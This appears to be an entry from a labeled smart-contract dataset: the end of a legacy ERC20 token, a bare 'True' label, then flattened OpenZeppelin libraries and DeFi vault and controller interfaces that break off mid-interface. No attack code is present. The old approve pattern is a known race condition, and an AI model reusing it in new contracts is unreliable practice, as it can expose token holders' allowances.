// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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1027,
1037,
102
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// SPDX-License-Identifier: AGPLv3
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https:
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https:
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https:
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https:
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https:
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https:
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0 <0.7.0;
contract Constants {
uint8 public constant N_COINS = 3;
uint8 public constant DEFAULT_DECIMALS = 18;
uint256 public constant DEFAULT_DECIMALS_FACTOR = uint256(10)**DEFAULT_DECIMALS;
uint8 public constant CHAINLINK_PRICE_DECIMALS = 8;
uint256 public constant CHAINLINK_PRICE_DECIMAL_FACTOR = uint256(10)**CHAINLINK_PRICE_DECIMALS;
uint8 public constant PERCENTAGE_DECIMALS = 4;
uint256 public constant PERCENTAGE_DECIMAL_FACTOR = uint256(10)**PERCENTAGE_DECIMALS;
uint256 public constant CURVE_RATIO_DECIMALS = 6;
uint256 public constant CURVE_RATIO_DECIMALS_FACTOR = uint256(10)**CURVE_RATIO_DECIMALS;
}
pragma solidity >=0.6.0 <0.7.0;
interface IToken {
function factor() external view returns (uint256);
function factor(uint256 totalAssets) external view returns (uint256);
function mint(
address account,
uint256 _factor,
uint256 amount
) external;
function burn(
address account,
uint256 _factor,
uint256 amount
) external;
function burnAll(address account) external;
function totalAssets() external view returns (uint256);
function getPricePerShare() external view returns (uint256);
function getShareAssets(uint256 shares) external view returns (uint256);
function getAssets(address account) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.7.0;
interface IVault {
function withdraw(uint256 amount) external;
function withdraw(uint256 amount, address recipient) external;
function withdrawByStrategyOrder(
uint256 amount,
address recipient,
bool reversed
) external;
function withdrawByStrategyIndex(
uint256 amount,
address recipient,
uint256 strategyIndex
) external;
function deposit(uint256 amount) external;
function updateStrategyRatio(uint256[] calldata strategyRetios) external;
function totalAssets() external view returns (uint256);
function getStrategiesLength() external view returns (uint256);
function strategyHarvestTrigger(uint256 index, uint256 callCost) external view returns (bool);
function strategyHarvest(uint256 index) external returns (bool);
function getStrategyAssets(uint256 index) external view returns (uint256);
function token() external view returns (address);
function vault() external view returns (address);
function investTrigger() external view returns (bool);
function invest() external;
}
pragma solidity >=0.6.0 <0.7.0;
contract FixedStablecoins is Constants {
address public immutable DAI;
address public immutable USDC;
address public immutable USDT;
uint256 public immutable DAI_DECIMALS;
uint256 public immutable USDC_DECIMALS;
uint256 public immutable USDT_DECIMALS;
constructor(address[N_COINS] memory _tokens, uint256[N_COINS] memory _decimals) public {
DAI = _tokens[0];
USDC = _tokens[1];
USDT = _tokens[2];
DAI_DECIMALS = _decimals[0];
USDC_DECIMALS = _decimals[1];
USDT_DECIMALS = _decimals[2];
}
function underlyingTokens() internal view returns (address[N_COINS] memory tokens) {
tokens[0] = DAI;
tokens[1] = USDC;
tokens[2] = USDT;
}
function getToken(uint256 index) internal view returns (address) {
if (index == 0) {
return DAI;
} else if (index == 1) {
return USDC;
} else {
return USDT;
}
}
function decimals() internal view returns (uint256[N_COINS] memory _decimals) {
_decimals[0] = DAI_DECIMALS;
_decimals[1] = USDC_DECIMALS;
_decimals[2] = USDT_DECIMALS;
}
function getDecimal(uint256 index) internal view returns (uint256) {
if (index == 0) {
return DAI_DECIMALS;
} else if (index == 1) {
return USDC_DECIMALS;
} else {
return USDT_DECIMALS;
}
}
}
contract FixedGTokens {
IToken public immutable pwrd;
IToken public immutable gvt;
constructor(address _pwrd, address _gvt) public {
pwrd = IToken(_pwrd);
gvt = IToken(_gvt);
}
function gTokens(bool _pwrd) internal view returns (IToken) {
if (_pwrd) {
return pwrd;
} else {
return gvt;
}
}
}
contract FixedVaults is Constants {
address public immutable DAI_VAULT;
address public immutable USDC_VAULT;
address public immutable USDT_VAULT;
constructor(address[N_COINS] memory _vaults) public {
DAI_VAULT = _vaults[0];
USDC_VAULT = _vaults[1];
USDT_VAULT = _vaults[2];
}
function getVault(uint256 index) internal view returns (address) {
if (index == 0) {
return DAI_VAULT;
} else if (index == 1) {
return USDC_VAULT;
} else {
return USDT_VAULT;
}
}
function vaults() internal view returns (address[N_COINS] memory _vaults) {
_vaults[0] = DAI_VAULT;
_vaults[1] = USDC_VAULT;
_vaults[2] = USDT_VAULT;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0 <0.7.0;
interface IController {
function stablecoins() external view returns (address[3] memory);
function vaults() external view returns (address[3] memory);
function underlyingVaults(uint256 i) external view returns (address vault);
function curveVault() external view returns (address);
function pnl() external view returns (address);
function insurance() external view returns (address);
function lifeGuard() external view returns (address);
function buoy() external view returns (address);
function reward() external view returns (address);
function isValidBigFish(
bool pwrd,
bool deposit,
uint256 amount
) external view returns (bool);
function withdrawHandler() external view returns (address);
function emergencyHandler() external view returns (address);
function depositHandler() external view returns (address);
function totalAssets() external view returns (uint256);
function gTokenTotalAssets() external view returns (uint256);
function eoaOnly(address sender) external;
function getSkimPercent() external view returns (uint256);
function gToken(bool _pwrd) external view returns (address);
function emergencyState() external view returns (bool);
function deadCoin() external view returns (uint256);
function distributeStrategyGainLoss(uint256 gain, uint256 loss) external;
function burnGToken(
bool pwrd,
bool all,
address account,
uint256 amount,
uint256 bonus
) external;
function mintGToken(
bool pwrd,
address account,
uint256 amount
) external;
function getUserAssets(bool pwrd, address account) external view returns (uint256 deductUsd);
function referrals(address account) external view returns (address);
function addReferral(address account, address referral) external;
function getStrategiesTargetRatio() external view returns (uint256[] memory);
function withdrawalFee(bool pwrd) external view returns (uint256);
function validGTokenDecrease(uint256 amount) external view returns (bool);
}
pragma solidity >=0.6.0 <0.7.0;
interface IPausable {
function paused() external view returns (bool);
}
pragma solidity >=0.6.0 <0.7.0;
contract Controllable is Ownable {
address public controller;
event ChangeController(address indexed oldController, address indexed newController);
modifier whenNotPaused() {
require(!_pausable().paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(_pausable().paused(), "Pausable: not paused");
_;
}
function ctrlPaused() public view returns (bool) {
return _pausable().paused();
}
function setController(address newController) external onlyOwner {
require(newController != address(0), "setController: !0x");
address oldController = controller;
controller = newController;
emit ChangeController(oldController, newController);
}
function _controller() internal view returns (IController) {
require(controller != address(0), "Controller not set");
return IController(controller);
}
function _pausable() internal view returns (IPausable) {
require(controller != address(0), "Controller not set");
return IPausable(controller);
}
}
pragma solidity >=0.6.0 <0.7.0;
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event LogAddToWhitelist(address indexed user);
event LogRemoveFromWhitelist(address indexed user);
modifier onlyWhitelist() {
require(whitelist[msg.sender], "only whitelist");
_;
}
function addToWhitelist(address user) external onlyOwner {
require(user != address(0), "WhiteList: 0x");
whitelist[user] = true;
emit LogAddToWhitelist(user);
}
function removeFromWhitelist(address user) external onlyOwner {
require(user != address(0), "WhiteList: 0x");
whitelist[user] = false;
emit LogRemoveFromWhitelist(user);
}
}
pragma solidity >=0.6.0 <0.7.0;
interface IBuoy {
function safetyCheck() external view returns (bool);
function updateRatios() external returns (bool);
function updateRatiosWithTolerance(uint256 tolerance) external returns (bool);
function lpToUsd(uint256 inAmount) external view returns (uint256);
function usdToLp(uint256 inAmount) external view returns (uint256);
function stableToUsd(uint256[3] calldata inAmount, bool deposit) external view returns (uint256);
function stableToLp(uint256[3] calldata inAmount, bool deposit) external view returns (uint256);
function singleStableFromLp(uint256 inAmount, int128 i) external view returns (uint256);
function getVirtualPrice() external view returns (uint256);
function singleStableFromUsd(uint256 inAmount, int128 i) external view returns (uint256);
